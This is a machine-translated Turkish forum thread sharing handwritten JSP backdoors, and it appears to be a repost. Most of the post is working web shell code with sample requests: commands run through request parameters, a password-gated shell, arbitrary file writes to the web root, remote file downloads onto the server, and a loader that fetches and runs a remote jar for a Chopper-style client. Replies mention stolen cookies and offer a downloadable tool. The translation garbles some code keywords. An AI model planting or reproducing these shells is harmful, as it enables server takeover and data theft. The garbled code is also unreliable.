Bu makale makine çevirisi ayna makalesidir, orijinal makaleye geçmek için lütfen buraya tıklayın.

Görünüm: 14991|Yanıt: 7

[Güvenlik Araçları] el yazısı JSP arka kapı

[Bağlantıyı kopyala]
Yayınlandı 2.01.2015 18:46:57 | | | |
Transfer edilenler: http://p2j.cn/?p=1627
1. Sistem komutlarını çalıştırın:
Sistem komutlarını echo olmadan çalıştırın:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
İstek: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls
Icradan sonra yankı olmaz, bu da zıplama mermileri için çok kullanışlıdır.
Şifre doğrulamasında da yankılar var:
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();        int a = -1;        byte[] b = yeni bayt[2048];        out.print("<pre>);        while((a=in.read(b))!=-1){ out.println(yeni String(b));        } out.print("</pre>);    }%>
İstek: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

2. Diziyi kodlayın ve belirtilen dosyaya yazın:
1:
<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>
İstek: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Web dizinine yaz:
<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes();%>
İstek: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
2:
<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
İstek: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Web dizinine yaz:
<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
İstek: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
3: Uzak dosyayı indirin (Apache io utils kullanmıyorsanız, giriş akışını bayta dönüştüremezsiniz, bu yüzden çok uzun...)
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();    byte[] b = yeni bayt[1024];    java.io.ByteArrayOutputStream baos = yeni java.io.ByteArrayOutputStream();    int a = -1;    oysa ((a = in.read(b)) != -1) { baos.write(b, 0, a);    } new java.io.FileOutputStream(request.getParameter("f"))).write(baos.toByteArray()); %>
İstek: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png
Web yoluna indirin:
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();    byte[] b = yeni bayt[1024];    java.io.ByteArrayOutputStream baos = yeni java.io.ByteArrayOutputStream();    int a = -1;    oysa ((a = in.read(b)) != -1) { baos.write(b, 0, a);    } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>
İstek: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png
Dört: Yansıtma dış kavanozu çağırır, arka kapıyı mükemmelleştirir
Yukarıdaki arka kapı fonksiyonu çok zayıf ve modası geçmiş değilse, bunu deneyebilirsiniz:
<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})))).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%>
İstek: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A

Mutfak bıçağı bağlantısı: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, şifre 023.

Çözüm:
Yansıtma kullanarak harici bir jar mevcut uygulamaya yüklenir ve yansıtma çıktı işleme sonucunu çalıştırır. request.getParameterMap() istenen tüm parametreleri içerir. Harici jar paketi yüklendiğinden, sunucu bu jar adresine erişebilmelidir.




Önceki:TXT metin dosyasının arkasındaki kriz
Önümüzdeki:Java MD5 şifreleme, Base64 şifreleme ve şifre çözme Java sistem komutu kaynak kodunu çalıştırır
Yayınlandı 2.01.2015 20:17:30 |
Son zamanlarda JSP arka kapısını araştırıyor musunuz?
 Ev sahibi| Yayınlandı 2.01.2015 20:39:44 |
admin 2015-1-2 tarihinde 20:17 tarihinde gönderildi
Son zamanlarda JSP arka kapısını araştırıyor musunuz?

Hiç jsp'yi tek cümlede gördün mü? Buldum, derinlemesine çalışmadım, xss'yi anlamadım, dün sonunda kurabiyeleri aldım ve kurabiye yüklemesini nasıl değiştireceğimi bilmiyorum
Yayınlandı 2.01.2015 20:44:40 |
Delver_Si 2015-1-2 tarihinde 20:39 tarihinde yayınlandı
Hiç jsp'yi tek cümlede gördün mü? Buldum, daha derine inmedim, xss'i anlamadım, dün sonunda kurabiyeleri aldım, pişirmeyi nasıl değiştireceğimi bilmiyorum...

Kişiye özel bir imza dosyasıyla çalınan kurabiyelerim olmayacak,,,

Firefox'un HackBar eklentisini kullanın
Yayınlandı 2.01.2015 20:48:57 |
Delver_Si 2015-1-2 tarihinde 20:39 tarihinde yayınlandı
Hiç jsp'yi tek cümlede gördün mü? Buldum, daha derine inmedim, xss'i anlamadım, dün sonunda kurabiyeleri aldım, pişirmeyi nasıl değiştireceğimi bilmiyorum...

Ghost Brother Çok Fonksiyonlu Tarayıcı v1.0


鬼哥多功能浏览器v1.0.exe (72 KB, İndirme sayısı: 7, Satış fiyatı: 1 Grain MB)
 Ev sahibi| Yayınlandı 2.01.2015 20:57:50 |
admin 2015-1-2 tarihinde 20:44 tarihinde gönderildi
Kişiye özel bir imza dosyasıyla çalınan kurabiyelerim olmayacak,,,

Firefox'un HackBar eklentisini kullanın

Dün, boş kapı sarsılıyordu, bağlanamadım ve Firefox mağazasına giremedim.
 Ev sahibi| Yayınlandı 2.01.2015 20:59:01 |
admin 2015-1-2 tarihinde 20:44 tarihinde gönderildi
Kişiye özel bir imza dosyasıyla çalınan kurabiyelerim olmayacak,,,

Firefox'un HackBar eklentisini kullanın

DZ'de bu boşluk yok
Yayınlandı 2.01.2015 21:00:22 |

Bilmiyorum, test edebilirsin, veritabanımı bozma   

Hepimiz duvarın etrafından dolaşmak için Tor Browser kullanıyoruz

Feragatname:
Code Farmer Network tarafından yayımlanan tüm yazılım, programlama materyalleri veya makaleler yalnızca öğrenme ve araştırma amaçları içindir; Yukarıdaki içerik ticari veya yasa dışı amaçlarla kullanılamaz, aksi takdirde kullanıcılar tüm sonuçları ödemelidir. Bu sitedeki bilgiler internetten alınmakta olup, telif hakkı anlaşmazlıklarının bu siteyle hiçbir ilgisi yoktur. Yukarıdaki içeriği indirmeden sonraki 24 saat içinde bilgisayarınızdan tamamen silmelisiniz. Programı beğendiyseniz, lütfen orijinal yazılımı destekleyin, kayıt satın alın ve daha iyi orijinal hizmetler alın. Herhangi bir ihlal olursa, lütfen bizimle e-posta yoluyla iletişime geçin.

Mail To:help@itsvse.com